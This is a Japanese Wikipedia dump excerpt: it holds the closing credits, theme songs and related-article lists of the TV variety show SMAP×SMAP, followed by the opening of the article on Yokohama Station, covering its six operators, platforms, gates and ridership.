* 美術制作:三竹寛典(CX)
* 美術進行:中村秀美
* デザイナー:水上啓光・[[鈴木賢太]]・邨山直也(いずれもCX)
* 大道具:鎌田大祐、三田部義広
* アートフレーム:永濱大作
* 装飾:山下正美
* 持道具:土屋洋子
* メイク:安藤有美
* 衣裳:城戸政人、浅見彰
* かつら:中野奈緒
* 視覚効果:猪又悟
* 電飾:渕井猛司
* アクリル装飾:犬塚健
* 生花装飾:山寺由美
* 植木装飾:広田明
* タイトル:湯浅信人
* 特殊美術:横山公一
* 特殊装置:岩瀬直孝
* CG:渡辺之雄、秋里直樹、高橋康之、関根知佳
* フードコーディネーター:結城摂子(マンダリン工房、「BISTRO SMAP」担当)
* TP:斉藤伸介(CX)
* TD:佐々木信一
* SW:小林知司(以前は、CAM)
* CAM:小川経一、瀬田学
* VE:郡司洋、竹内貴志
* 技術:[[共同テレビジョン|共同テレビ]]
* AUD:高橋敬
* PA:吉竹新、後藤祐輔
* 照明:宗像徹馬
* LP:植松晃一(CX)
* 編集:坂本貴志、刈屋綾乃、葉柴栄次、杉原丈司、久世圭子
* MA:高橋誠一郎(毎週)、泉英里奈、道淵進(週替り)
* 音響効果:西野有彦、坂本洋子
* DJ:安本ヒロユキ
* 音楽CG:mofutec
* 制作協力:[[ジャニーズ事務所]]([[ジャニー喜多川|ジャニーH.キタガワ]])
* 協力:[[服部栄養専門学校]]([[服部幸應]]、関口智幸、酒井文彦、小高勇介、中村哲)、[[ハーフトーンミュージック|Halftone Music]](「S-Live」担当)、[[北沢産業|北沢産業株式会社]](「BISTRO SMAP」担当)、[[フジ・メディア・テクノロジー|fmt]]<ref group="注">2013年6月までは[[フジライティング・アンド・テクノロジイ|FLT]]と表記された。</ref>
* 編成:南口博孝(KTV)、加藤達也(CX)
* 広報:前田香久(KTV)、小中ももこ(小中→以前は広報→編成、CX)、片山正康(CX)
* 宣伝:[[鈴木文太郎]](以前はD、CX)
* アドバイザー:能智大介(CX)
* 連絡:保坂美帆
* デスク:宮崎由佳
* TK:高木美紀([[エーステレビ]])
* FD:益田洋平
* AP:中山佳祐(共同テレビ)、小関悠介(CX)
* オブザーバーP:田中猛彦(以前はP→CP、KTV)
* アソシエイトP:河西秀幸(以前はAP、KTV)
* ディレクター:代々木明徳(CX)、印田弘幸・渡辺剛・岡田純一([[オイコーポレーション]])、松永健太郎(以前はAD→FD、[[アズバーズ]]→共同テレビ)、小林正彦、井上融(両者とも、以前はFD、CX)
* 演出:[[出口敬生]](以前はAD→FD→D 、CX)、小倉伸一(以前はAD→D、[[オイコーポレーション]])
* プロデューサー:[[春名剛生]](以前は編成→AP→制作P、CX)、乾充貴(2010年7月26日 - 、KTV)
* チーフプロデューサー:[[黒木彰一]](以前は演出→プロデューサー、CX)
* 制作:[[関西テレビ放送|関西テレビ→カンテレ]]、[[フジテレビジョン|フジテレビ]]
=== 過去のスタッフ ===
* ナレーター:[[田子千尋]]
* 作家・構成:[[永井準 (放送作家)|永井準]]、野中浩之、[[安達元一]]、二見雅人、[[福田雄一]]
* 振り付け:[[阿部乙三]]、SANCHE、 [[黒須洋壬]]、[[KABA.ちゃん|椛島永次]]、IZUMI、GOTO、TETSU、MASASHI
* スタイリスト:宇都宮いく子、栗田泰臣、百瀬豪
* 美術制作:重松照英・井上明裕(CX)、岡崎忠司(KTV)
* デザイナー:越野幸栄、小池秀樹(CX)
* 美術進行:大野恭一郎
* 大道具:原田和久、樋口雄一郎、中山寛之、卜部徹夫、堅木弘史、三谷陽介
* 特殊美術:佐藤むさく、佐藤吉一
* 装飾:中澤正英、藤間俊昭、望月富夫、林成利
* メイク:水野聖子、田代典子
* かつら:新井智子
* 電飾:堀内文博
* アクリル装飾:佐藤則雄、北神窓夏
* 生花装飾:長崎由利子、根本由美子
* 植木装飾:森慶申
* グラフィックデザイン:蝦名龍郎
* CG:小池秀樹(CX)、西村了([[イクイティエンタテインメント]])、近藤研策、[[岡本英士]](CX)、小幡英雄、徳永晶子、森宮裕、土屋貴史、大坪隆仁、瀬井貴之
* エンドCG:河村善彦
* タイトル:[[岩崎光明]]、福澤伸太郎
* TP:江花佳恵・岸田花子・[[馬場直幸]]・塩津英史・松本英士(CX)
* TD:二見健二
* SW:岡田和美
* CAM:原田延隆、鰺坂輝国、浦部玲一、秋山透、菅野恒雄、野口勝己、寺本和美、菅原武志、伴野匡
* VE:品田正人、板坂謙二、帯刀淳也、小野寺毅、加藤俊二
* AUD:斉藤哲史、近藤崇宏
* PA:外崎光一
* 照明:岸本直樹、小林直貴、安藤雅夫
* 編集:加賀学、木村信彦、三澤(沢)祐大、中村慎吾、近藤慎吾、水野美智子、毛利哲也、白井英樹、近藤麻里子、三ツ井章文
* MA:佐藤浩二、緒方美奈
* スーパーバイザー:[[原田冬彦]]<ref group="注">現在は[[ネクステップ|NEXTEP]]を務める。</ref>(当時CX、以前は編成→AP)
* 編成:谷口泰規・植村泰之・永井好輝・濱星彦・小杉太二・[[西澤宏隆]]・東田元・山中厚史・野村亙(KTV、東田→以前はD)、[[吉田正樹]]<ref group="注">現在は[[ワタナベエンターテインメント]]会長、[[吉田正樹事務所]]代表取締役などを務める。</ref>(当時CX)、[[鈴木吉弘]]・高橋松徳・小川泰・金井卓也・山根法久・夏野亮・[[濱野貴敏|浜野貴敏]]・[[和田行]]・[[中野利幸]]・[[立松嗣章]]・[[中島寛朗]]・渋谷謙太郎・大川友也(CX、浜野→以前はAD)
* 広報:渡辺真沙子・野手正敦・佐藤晃子・山本真央美・前田ひとみ・豊増雄(KTV)、大貫伊都子・稲葉匡信・矢崎かおり(CX)
* デスク:元吉里枝
* TK:長井千鶴、平井冴子
* アドバイザー:[[加茂裕治]](CX)
* AD:津田敏之、原礼子、上杉由之、吉澤聡史<ref group="注">現在はフロンティアーズを務める。</ref>(当時CX)、[[石塚大志]](CX)
* FD:川村徹也(KTV)、河井二郎(共同テレビ、以前はAD)、小柴享之(オイコーポレーション)、渋川大輔、高田雄太
* アソシエイトP:白根淳子(元広報部)、笹川正平(CX)
* AP:笠置高弘・毛阪一洋・山口泰弘・西本敦哉(KTV)
* ディレクター:[[坪田譲治 (フジテレビ)|坪田譲治]]・[[石井浩二]](CX、石井→以前はAP)、亀森幸二<ref group="注">現在はフロンティアーズ代表取締役を務める。</ref>(当時CX)、金子傑・田中孝明・清水泰貴(CX)、[[名城ラリータ]]([[フジクリエイティブコーポレーション|FCC]]) / 小川悦司・坂田佳弘(KTV、小川→以前はAD、坂田→以前はFD) / 関卓也<ref group="注">現在は共同テレビを務める。</ref>・[[小松純也]]<ref group="注">CX退社後は前身、共同テレビを経て、現在はスチールヘッド代表取締役を務める。</ref>(両者とも、当時CX)
* 音楽ディレクター:[[板谷栄司]]<ref group="注">2022年3月末でフジテレビ退社。</ref>(当時CX)
* 演出:深瀬雄介<ref group="注">現在は[[フジパシフィックミュージック]]を務める。</ref>(当時CX)、[[亀高美智子]](CX)
* プロデューサー:[[荒井昭博]]・[[小松純也]](両者とも、当時CX) / [[重松圭一]](KTV、以前は編成)
* 技術協力:[[共同エディット]]、バックヤードスタヂオ
* 協力:[[ニユーテレス|ニューテレス]]、[[テルミック]]、[[ケネックジャパン]]、[[コマデン]] ほか
== テーマソング ==
* [[青いイナズマ]]([[1996年]])
* [[SHAKE (SMAPの曲)|SHAKE]](1996年)
* [[ダイナマイト (SMAPの曲)|ダイナマイト]]([[1997年]])
* [[Peace! (SMAPの曲)|Peace!]](1997年)
* [[夜空ノムコウ]](1998年)
* [[朝日を見に行こうよ]](1999年)
* [[Let It Be (SMAPの曲)|Let It Be]]([[2000年]])
* [[freebird]]([[2002年]])
* [[This is love]]([[2010年]])
* [[僕の半分]]([[2011年]])
* [[Mistake!/Battery|Mistake!]]([[2013年]])
* [[Top Of The World/Amazing Discovery|Top Of The World]]([[2014年]])
* [[Otherside/愛が止まるまでは|Otherside]]([[2015年]])
== 関連項目 ==
* [[SMAP×SMAPのコント・キャラクター]]
* [[ベビスマ]]
* [[週刊TVガイド]] - 『週刊スマスマ新聞』と称した『SMAP×SMAP』の情報ページを1997年から連載
* [[森田一義アワー 笑っていいとも!]] - スタッフが共通、中居・草彅・香取がレギュラー出演していた
* [[さんま・中居の今夜も眠れない]] - 『FNS27時間テレビ』のコーナー、三宅恵介以外のスタッフが共通
* [[さんタク]] - 一部のスタッフが共通
* [[SMAPのがんばりましょう]] - 『SMAP×SMAP』の原型(フジテレビ)
* [[愛ラブSMAP]] - 『SMAP×SMAP』の原型(テレビ東京)
* [[さんま&SMAP!美女と野獣のクリスマススペシャル]]-他局だが、スマスマと同様に代表的番組だった。
* [[夢がMORI MORI]]
* [[サタ☆スマ]] - スタッフが共通、中居・香取がレギュラー出演
* [[SMAP PRESENTS ドラマの裏の本当のドラマ]]
* [[SMAP GO!GO!]]
* [[FNS27時間テレビ (2014年)|武器はテレビ。SMAP×FNS 27時間テレビ]] - 『SMAP×SMAP』をベースとした『FNS27時間テレビ』
* [[東日本大震災における放送関連の動き]] - チャリティー活動(2011年3月21日の特番、以後行われてきた義援金告知)
* [[SMAP解散騒動]]
* [[SMAP 2008 super.modern.artistic.performance tour]]、[[GIFT of SMAP CONCERT'2012]]、[[Mr.S "saikou de saikou no CONCERT TOUR"]]
** SMAPのライブDVD。ライブ中に本番組のコントキャラクターが登場し、「GIFT of~」・「Mr.S」では本番組スタッフの名もエンディングクレジットに掲載されている。
* [[ジャニーズ事務所]]
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|3|group="注"}}
=== 出典 ===
{{Reflist|3}}
==外部リンク==
*[https://www.fujitv.co.jp/smapsmap/ SMAP×SMAP] - フジテレビによる番組公式サイト
{{前後番組
|放送局=[[関西テレビ放送|関西テレビ]]・[[フジテレビジョン|フジテレビ]]をはじめとする[[フジネットワーク|フジテレビ系列]]
|放送枠=[[月曜日|月曜]]22:00 - 22:54枠
|前番組=[[いい日旅立ち〜4つの卒業〜]]<br/>(1996年3月4日 - 3月25日)<br />【ここまで関西テレビ単独制作の[[関西テレビ制作・月曜夜10時枠の連続ドラマ|ドラマ枠]]】
|番組名=SMAP×SMAP<br />【この期間のみ関西テレビ・フジテレビの共同制作】<br />【ここからバラエティ枠】
|次番組=
[[ちょっとザワつくイメージ調査 もしかしてズレてる?|世間のイメージとズレてる芸能人は誰だ!?
ズレ↓オチ(仮)]]<br />↓<br />[[ちょっとザワつくイメージ調査 もしかしてズレてる?|ちょっとザワつくイメージ調査<br />もしかしてズレてる?]]<br />【ここから再び関西テレビ単独制作】
|2放送局=関西テレビ制作・フジテレビ系列
|2放送枠=[[ロート製薬]]前半提供枠
|2前番組=[[ひらけ!GOMA王国]]<br/>(1995年10月 - 1996年3月26日)<br />【火曜22時枠・ここまで関西テレビ単独制作】
|2番組名=SMAP×SMAP<br />【フジテレビとの共同制作】<br />※番組終了前に前半部の一社提供を取りやめ
|2次番組=(廃枠)
|3放送局=フジテレビ系列
|3放送枠=FNS27時間テレビ ベース番組
|3番組名= SMAP×SMAP <br/>(2014年)
|3前番組=[[10匹のコブタちゃん 〜ヤセガマンしないTV〜|10匹のコブタちゃん]]<br />(2013年)
|3次番組= [[めちゃ×2イケてるッ!|めちゃ<sup>2</sup>イケてるッ!]] <br />(2015年)
}}
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|list=
{{SMAP×SMAP}}
{{SMAP}}
{{中居正広}}
{{木村拓哉}}
{{稲垣吾郎}}
{{草彅剛}}
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{{FNSの日}}
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}}
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[[Category:SMAP×SMAP|*]]
[[Category:関西テレビのバラエティ番組の歴史]]
[[Category:関西テレビのトーク番組]]
[[Category:関西テレビの音楽番組]]
[[Category:関西テレビの一社提供番組]]
[[Category:関西テレビの料理番組]]
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[[Category:1996年のテレビ番組 (日本)]] | 2003-04-15T20:05:36Z | 2023-12-27T09:36:14Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/SMAP%C3%97SMAP |
6,781 | 横浜駅 |
横浜駅(よこはまえき)は、神奈川県横浜市西区にある、東日本旅客鉄道(JR東日本)・東急電鉄・横浜高速鉄道・京浜急行電鉄(京急)・相模鉄道(相鉄)・横浜市交通局(横浜市営地下鉄)の駅。
JR東日本と京急電鉄の駅は東口側の西区高島二丁目に、東急電鉄・横浜高速鉄道・相模鉄道・横浜市営地下鉄の駅は西口側の西区南幸一丁目にある。
横浜市の中心駅で、JR・私鉄・地下鉄の各線が集まる日本有数のターミナル駅である。合計6社局が乗り入れており、1駅に乗り入れる鉄道事業者数が日本最多である。1日平均の乗降客数は約230万人(2019年度)で、年間乗降客数は約8億4100万人となる。この数字は新宿駅、渋谷駅、池袋駅、大阪・梅田駅に次いで世界第5位である。
現在の横浜駅は三代目である。初代は1872年に新橋 - 横浜間で日本初の鉄道(現在の東海道本線)として開業し、二代目横浜駅の開業に伴い桜木町駅に改称された。二代目は国道1号高島町交差点付近にあったが、関東大震災で被災したため廃止された。現在も戸部警察署高島交番そばのマンション敷地内に駅舎基礎部分の遺構が残されており、横浜市認定歴史的建造物となっている。
当駅周辺は巨大な百貨店やファッションビル、専門店街などの商業施設、飲食店などが集積しており、首都圏有数規模の繁華街が広がっている。横浜港開港以来の中心市街地である中区の関内・関外(伊勢佐木町周辺)地区をも超える地区になっており、このことから関内・関外地区とともに横浜市のツインコアとして横浜都心に指定されている。
当駅は構内や駅周辺で次々と大きな工事が行われて、実質1915年の開業以来未だにすべての工事計画が完全に終了していないと言われており、「日本のサグラダ・ファミリア」と揶揄されている。現在は駅ビルおよび駅周辺の大規模再開発事業が2011年から進行している。詳細は「#エキサイトよこはま22(横浜駅周辺大改造計画)」を参照。
2008年4月から、当駅に乗り入れる4社と横浜市や市民団体が俯瞰図・構内図・広域図・断面図に点字を施した「横浜駅さわる地図バリアフリーマップ」を配布している。点字のないPR版もある。
JR横浜駅の事務管コードは▲460114である。
以下の6社局が乗り入れている。各社局の駅に駅番号が付されており、あわせて記す。
上記のうち、JR根岸線・相鉄本線・横浜高速鉄道みなとみらい線は当駅を起点とし、逆に東急東横線は当駅を終点としているが、東急東横線と横浜高速鉄道みなとみらい線は直通運転を行っており、2社が同じ施設に発着している(駅は東急側の管理)。また、東急・横浜高速鉄道は東京メトロ副都心線を介して東武鉄道・西武鉄道との5社による相互直通運転を実施している。さらに2023年3月18日より、東急新横浜線と相鉄新横浜線が相互直通運転を開始した関係で、相鉄側の横浜駅に発着する東急の車両による運用も一部で設定され、東急の車両は2ヶ所の横浜駅に入線することとなった。他にも、京急は都営地下鉄浅草線を介して京成電鉄、北総鉄道(一部時間帯のみ)へ直通運転を実施しており、都営地下鉄浅草線の車両や、平日に限り京成の車両もごく少数のみ京急側の横浜駅に入線している。
JR東日本の駅に乗り入れている路線は、線路名称上は、当駅の所属線である東海道本線および当駅を起点に根岸駅を経て大船駅とを結ぶ根岸線の2路線であるが、一般列車の運転系統は以下のように多岐にわたっている(詳細は路線記事および「鉄道路線の名称」参照)。当駅は「YHM」のスリーレターコードが付与されている。
東海道本線の線路は、当駅以西の大船駅方面が東海道線用列車線と横須賀線用線路(旧貨物線)との複々線、当駅以東の東京都心方面はこれらに加えて根岸線に直通している電車線(京浜東北線)を加えた3複線となっており、京浜東北線と横浜線が電車線、東海道線が列車線、横須賀線と湘南新宿ラインが横須賀線用線路を使用する。電車線(京浜東北線)と東海道線列車線は川崎駅経由の本線、横須賀線用線路は武蔵小杉駅経由の支線(品鶴線)を経由する。
JRの主な優等列車としては、東海道本線経由で伊東線・伊豆急行線などに直通する特急「踊り子」「サフィール踊り子」(基本的に東京駅発着であるが、前者は1往復が新宿駅方面から湘南新宿ラインと同じルートで運転される)、横須賀線のルートから総武本線・成田線を通じて成田空港へ向かう特急「成田エクスプレス」、さらに夜行列車として東海道本線経由で山陰・四国方面へ向かう寝台特急「サンライズ瀬戸」「サンライズ出雲」などがあり、基本的に全ての列車が停車する。しかし、東京都心 - 湘南地区間の通勤客を遠近分離する観点から、朝夕ラッシュ時に運行される通勤特急「湘南」(一部は東海道貨物線経由で運転されるため当駅を経由しない)は通過する。
JRの特定都区市内制度における「横浜市内」の駅であり、運賃計算の中心駅となる。
現在の横浜駅付近は幕末まで海であり、明治維新直後に高島嘉右衛門らが埋め立て事業を行い、鉄道が敷設された。海はその後も現在の西口近くに「平沼」として残った。
ホームは多くが南北方向に伸びており、地上は東寄り(東京湾側)から京急線とJR線のホームが並ぶ。相鉄線と横浜市営地下鉄線はこれらの路線の南西側(みなみ西口付近)にホームがあり、相鉄線はJR線の脇、地上2階に南方向へホームが伸び、横浜市営地下鉄は南寄り地下3階(改札は地下2階)に概ね東西方向へホームが伸びる。かつては東急線もJR線脇の地上2階部分に並行して高架ホームがあったが、みなとみらい線との相互直通運転開始を機に地下5階(改札は地下3階)へ移転した。
地下1階部分では、自由連絡通路「きた通路」「中央通路」「みなみ通路」が東西に貫き、「きた東口(A・B・C)」「きた西口」「中央東口」「中央西口」「みなみ東口」「みなみ西口」の6か所の出口がある。地下2階部分の東急線・みなとみらい線ホーム上に南北自由通路があり、これらの通路を結んでいる。
島式ホーム4面8線を有する地上駅で、のりばの番号は京急からの通し番号になっている。京浜東北・根岸線と横須賀線・湘南新宿ラインのホームはそれぞれ1面2線、東海道線は2面4線を使用する。ホームの有効長は京浜東北・根岸線が10両分、他は15両分である。線路は多くが主本線だが、東海道線の5・8番線のみ副本線(待避線)となっている。
東海道線の待避線では優等列車の待避が行われるほか、平日朝ラッシュ時は上り普通列車が7・8番線を交互に発着している。2004年10月16日に湘南新宿ラインが増発される以前は夕刻ラッシュ時に当駅始発の下り列車が設定されており、上りホームの7番線から発車していた。2021年3月13日より5番線を使用する営業列車は日中時間帯および夕ラッシュ以降(平日のみ)に平日16本・土休日7本、8番線を使用する営業列車は平日が朝ラッシュ時の交互発着および14時52分発普通宇都宮行き(1880E)の合計17本、土休日は先述の1580Eの1本となっている。
改札は、中央通路に面して2か所(中央北改札・中央南改札)ときた・みなみ両通路に面してそれぞれ1か所(北改札・南改札)の計4か所があり、改札ごとに階段などが分かれている。中央北改札付近に京急との連絡改札が設置されている。2004年1月30日までは北側の跨線橋上に京急と、中央北改札内に東急との連絡改札があった。東急との連絡改札は最後まで有人改札だったため、Suica導入後は簡易改札機が設置された。南改札は当初、京浜東北・根岸線と東海道下り線の間付近に設置されていたが、2009年12月20日から東海道上り線と横須賀線の間付近に移設された。みどりの窓口は中央通路に設置されている。かつてはみなみ通路にみどりの窓口が設置されていたが南改札の移設時に閉鎖され、代わりに指定券券売機が2台設置された。当駅はインターネット予約の受取りはえきねっとのみ可能。2020年8月10日には、中央南改札と南改札を結ぶ改札内通路および待合広場「SOUTH COURT」が供用開始された。また、翌2021年3月22日より、「SOUTH COURT」内にて駅ピアノが設置された。
直営駅であり管理駅として保土ケ谷駅を管理している。
エレベーターはホームと中央北改札コンコースを結ぶものが各1台、エスカレーターは中央北改札と7・8番線(上り)および9・10番線(両方向)、きた通路北改札と各ホーム(片方向)、中央南改札と3・4番線(下り)および5 - 10番線(上り)がある。中央南改札と9・10番線を結ぶエスカレーター(上り)は、横須賀線ホーム拡幅(後述)後、2010年12月23日に新設されたものである。中央北改札と9・10番線を結ぶエスカレーター(両方向)は従来の階段をつぶして設置されたため、階段がなくエスカレーターのみとなっていたが、こちらも横須賀線ホーム拡幅(後述)後、エスカレーターの西側に階段が新設された。2020年8月10日には、中央南改札および北改札コンコースと各ホームを結ぶエレベーターが供用開始された。
横浜線の電車が日中1時間に6本(快速3本・各駅停車3本)が当駅3・4番線を経由して隣の桜木町駅まで乗り入れているが、朝時間帯は横浜線全体の1/3程度の列車が直通、夜間帯は毎時1-3本程度が直通する桜木町/磯子/大船(大船行きは朝のみ)発着列車を除いて東神奈川駅始発・終着となっており、京浜東北線に乗車して同駅での乗り換えが必要となるケースもある。横浜線直通電車(橋本・八王子行)の場合、案内看板が点灯するほか、駅員の肉声放送も流れるようにしている。かつては土曜休日(一部を除く)に横浜線と中央本線を経由して当駅始発・終着で松本駅を結ぶ臨時特急「はまかいじ」号が運転されていたが、ホームドア設置に伴い2019年1月をもって廃止(運行休止)された。そのホームドアは同年11月に稼働した。
各ホームとも乗降客が多く見通しも悪いため、終日に渡って立番が配置され、乗降終了合図を出している。5・6番線と9・10番線は立番駅員が発車メロディを扱う。
かつては上りの寝台列車が大幅に遅延した際、朝ラッシュ時の通勤輸送への影響を避けるため小田原(当駅の代替として臨時停車) - 品川間で東海道貨物線を走行し、当駅を経由しない場合もあった。
1980年9月30日までは現在の横須賀線ホームがなく、横須賀線電車も東海道線ホームに発着し、東京 - 大船間は東海道線と同様に川崎経由で運転されていた。
2010年10月1日より当駅南口に遺失物管理センター(JR東日本ステーションサービスに委託)を開設し、従来、改札・出札・ホームの各部署で対応していた遺失物の取り扱い業務を当センターへ集約した。当駅発行の定期券については従来通り出札で管理している。
2021年時点のダイヤで当駅を通過する旅客列車は東海道線の特急「湘南」のみである(一部の列車は貨物線経由で運行されるため当駅を経由しない)。2021年以前は特急「湘南」の前身である「湘南ライナー」および夜間の下り通勤快速が通過していたほか、1961年10月1日当時、下り準急「おくいず」と準急「はつしま」が当駅を通過し、東京駅 - 小田原駅間ノンストップで運転されていた。なお、上りの「おくいず」「はつしま」は当駅に停車した。
なお、東京都心と湘南地区間の通勤客のみを分離することを目的とした上記列車(「湘南」、「湘南ライナー」、通勤快速)を除き、国鉄時代から東海道線の昼行特急(東海道新幹線開業前の東京発大阪・西日本方面への最速達の特急列車も含む)や寝台特急は基本的に全列車が停車している。
(出典:JR東日本:駅構内図)
地下5階にある島式ホーム1面2線を有する地下駅である。東急電鉄と横浜高速鉄道の共同使用駅で、財産上は駅中央部を境に両社の折半所有となっているが、管轄は東急電鉄が担当している。東急最南端の駅である。なお、みなとみらい線の運転業務は東急電鉄に委託されているため、原則として当駅での乗務員交代は行われない。
東横線渋谷寄りにシーサスポイントがあり、深夜帯における当駅折り返し電車が使用するほか、輸送障害発生時に使用する場合もある。東横線の下り最終列車は当駅止まりで到着後に夜間留置され、翌朝に当駅始発のみなとみらい線下り列車となる。
改札は地下3階に2か所あり、渋谷寄りから正面改札と南改札となっている。地下1階への出入口ごとおよびフロアごとにそれぞれ3色のアクセントカラーを設定している。フロアごとのアクセントカラーの色は、地下2階がオレンジ色、地下3階が緑色、地下5階が水色。出入口ごとのアクセントカラーの色は、北口が緑色、中央口がオレンジ色、南口が水色。ホーム7号車付近(階段下)に待合室が1か所設置されていたが、2008年6月に撤去された。
ホームと改札との間に階段のほか、エレベーターとエスカレーターが設置されている。エスカレーターは4か所あり、改札寄りは階段と並行して上下各1組、中程は上下各2基となっている。時間帯によっては通常より若干速い高速運転で供用される場合がある。改札階では、階段・エスカレーターとも4か所すべてが同じ方向を向いている。改札外のエスカレーターは改札階の地下3階と南北自由通路の地下2階の間は3ルートともある。当初は地下2階と地下1階の間は中央通路と南改札を結ぶルートのみにあり、他の2ルートは工事中だったが、2007年11月までにすべてのルートにエスカレーターが設置された。南北自由通路を経由すれば中央通路と正面改札の間も階段を使わない移動は可能である。
南改札寄りのエスカレーターは階段と上下各1本のエスカレーターが並行して改札階とホーム階を直接結んでいる。正面改札寄りのエスカレーターは地下4階で分割されており、階段とエスカレーターを乗り継ぐこともできる。
エレベーターは各通路ごとに1基ずつ設置されている。
トイレは地下3階改札口内にある。多機能トイレは男女各トイレに併設しており、オストメイト対応となっている。
2013年3月16日から開始された東横線と東京メトロ副都心線との相互直通運転開始に向け、特急・通勤特急・急行の10両編成列車に対応するためのホーム有効長延伸工事を行い、1号車寄りと8号車寄りにそれぞれ1両分ずつホームを延伸した。
自治体の補助を受けてホームドアの設置がされ、2015年3月7日の始発より稼働している。
有料座席指定列車「S-TRAIN」は、土曜・休日ダイヤのみ東横線・みなとみらい線に入線し、当駅にも停車する。当駅からみなとみらい線内のみの乗車はできない(東横線内のみの乗車や自由が丘駅 - みなとみらい駅といった区間は乗車可)。
2017年7月21日には、JR線での観光列車「THE ROYAL EXPRESS」(東急催行)の運行開始に合わせて、南北自由通路に「THE ROYAL EXPRESS」クルーズプラン乗客専用ラウンジが新設され、同年8月末には、ラウンジの隣に一般客も利用可能なカフェ「THE ROYAL CAFE YOKOHAMA」がオープンした。
12両編成対応の上下方向別単式ホームで、JR線ホームの南隣に位置する。1930年の開業当初は島式1面2線、その後1944年2月に現在と同じ2面2線となったものの、1974年5月に再度島式ホーム1面2線となった。しかし、利用客の増加が続いたため、混雑緩和のために2006年7月に東口側に下り専用ホームが設置された。1番線に上大岡・三浦海岸方面、2番線に羽田空港・品川方面の列車が発着する。
新しい下りホームなどの設置は国土交通省の鉄道駅総合改善事業費補助制度によるもので、この制度では第三セクターに対し国や自治体から補助金が拠出されることから、資本関係にある第三セクターの横浜高速鉄道が関係施設を保有して事業主体となり京急が受託する形で工事が行われた。工事以前は極めて小さいながら独立した駅舎を持っていたが、この下りホーム設置により撤去された。跡地は下りホームと直結する地下1階・地上8階建ての駅ビルが2008年に開業し、同社のオフィスをはじめ、飲食店やコンビニエンスストアが入居している。
改札はきた・中央の両通路およびみなみ通路への連絡路に面して設置されている他、中央自由通路の北側にJRとの連絡改札がある。2004年1月までは北側の跨線橋上にも連絡改札があった。1987年から2006年3月17日にかけては相鉄口改札(乗り換え改札ではない)が設置されていたが、みなみ通路に連絡する南改札開設に伴い閉鎖された。
階段やエスカレーターなどは各改札からそれぞれホームへと連絡している。エレベーターは中央通路(およびJRとの乗り換え)ときた通路へ上下線ホームから各1台ずつ、計4台が設置されている。みなみ通路との連絡は階段のみである。
京急線中央改札口のコンコース内は、2008年2月15日に「エキポート横浜」としてリニューアルし、飲食店などのテナントが入居している。
2015年5月21日に副駅名「そごう・ポルタ前」を導入。2019年にはホームドアが設置された。
当駅は開業当初から待避設備はないが、かつては一部の下り普通が途中駅無停車の下りハイキング特急を待避していた。まず下り線で客扱いをした普通は、一旦品川寄りの渡り線を通って上り線に転線、その後ハイキング特急を待避して、再び下り線に転線していた。途中駅無停車は下りのみで、上りは途中駅無停車の列車はなかった。この渡り線は現在も残されており、大晦日から元日にかけて泉岳寺駅 - 当駅間で終夜運転を行う際にも毎年使用されているほか、早朝に神奈川新町駅から回送され、当駅始発上り電車となる際の転線に使用される。
1番線・2番線共に、駅自動放送が導入されており、1番線は関根正明、2番線は大原さやかが担当している。2020年に英語、中国語、韓国語にも対応した。
当駅は京浜急行電鉄では最大の乗降人員を擁するが、モーニング・ウィング号およびイブニング・ウィング号は混雑緩和・遠近分離のため停車しない。
(出典:京急電鉄:駅構内図)
2008年12月23日から、横浜の情景を歌ったいしだあゆみの代表曲「ブルー・ライト・ヨコハマ」をアレンジしたものを接近メロディとして使用している。メロディはスイッチの制作で、編曲は塩塚博が手掛けた。
地上2階にある頭端式ホーム4面3線を有する高架駅である。相鉄が管理する駅としては最東端の駅である。
現在の駅舎は3代目で、相鉄ジョイナスと相鉄会館(髙島屋の部分)を含む新相鉄ビルの一部として、1971年(昭和46年)8月1日に供用開始。1番線と2番線用降車ホーム、2番線用乗車ホームと3番線が、それぞれ同一の島を構成する。ホーム有効長はいずれも10両編成分である。全てのホームにホームドアが設置されている。
当駅に到着する列車は、初電より15時までの到着列車は、降車ホーム側のドアを開けた直後に乗車ホーム側のドアも開き、利用客はどちらのドアからも下車ができる。一方15時以降の到着列車は、降車ホーム側のドアのみが開き、全員が下車したことを確認後にそのドアが閉まり、到着列車の運転士が乗車ホーム側のドアを開ける(整列乗車)。
改札は2階の端(頭端部)とホーム中程の階段を降りた1階に分かれ、1階の改札は地下鉄駅側と駅ビル(五番街)側の2方向に設置されている。1階の改札と2階の各ホームの間は階段があり、1階の改札と3番線降車ホームとの間にエレベーターがある。
1階改札口には自動改札機が23台設置されており、1か所の設置台数としては関東地方で最多である。
2010年12月12日から2階改札付近からJR線みなみ改札への連絡通路が新設された。連絡通路は2階 - 地下1階をエスカレーター(両方向)で結んでいる。この通路付近に1987年から2006年3月17日にかけて京急線への連絡通路が存在していた。
2012年3月に、改札口付近に運行情報ディスプレイが、1番線・3番線の車止め部分に大型のデジタルサイネージがそれぞれ設置された。
2015年12月7日、3番線に常設のものとしては相鉄初となるホームドアの設置が開始され、翌2016年3月6日の始発より稼働している。その後2番線のホームドアは同年12月20日より、1番線のホームドアも2017年2月21日より稼働し、全ホームへの整備が完了した。
(出典:相模鉄道:駅構内マップ)
島式ホーム1面2線を有する地下駅。ホームは地下3階にある。1番線に湘南台方面、2番線にあざみ野方面の列車が発着する。副名称は「相鉄ジョイナス前」とされており、改札口の一つとして「ジョイナス(旧ザ・ダイヤモンド)改札口」が存在する。早朝にあざみ野方面のみ始発列車が設定されている(関内駅から回送)。横浜市営地下鉄の中で年間の利用者数が最も多い駅である。
駅長・副駅長所在駅。横浜管区駅として三ツ沢上町 - 高島町間を管理している。
主な駅弁は下記の通り。現在は主に崎陽軒が販売している。和製中華風料理が多く、特にシウマイ弁当が有名である。
下記の通り改札内外に崎陽軒の売店がある。その他、駅ナカ・駅ビルにも弁当店が存在する。地下鉄コンコースでの本格的な駅弁販売は世界的にみてかなり希少である。
1960年代頃までは、国鉄「湘南電車」(東海道線中距離普通列車)のホームに売り子が立ち、到着列車の窓越しに弁当やシウマイの折詰を販売する風景が見られた。当時は崎陽軒が下りホーム、楽陽軒が上りホームを分担していた。シュウマイに瓢箪形の陶器製の醤油入れがつき、特に崎陽軒のものは横山隆一(後に原田治)による「ひょうちゃん」の多種類に及ぶキャラクターが描かれ、人気を集めた。
横浜市の拠点となる駅の一つであり、神奈川県および東海道本線では最も利用客の多い駅である(2019年度の各社合計の乗降人員は1日平均約230万人、年間約8億4100万人)。各社局の利用状況は以下の通りである。相互乗り入れによる直通客などを除いた2007年度の乗降人員は1,203,963人である。
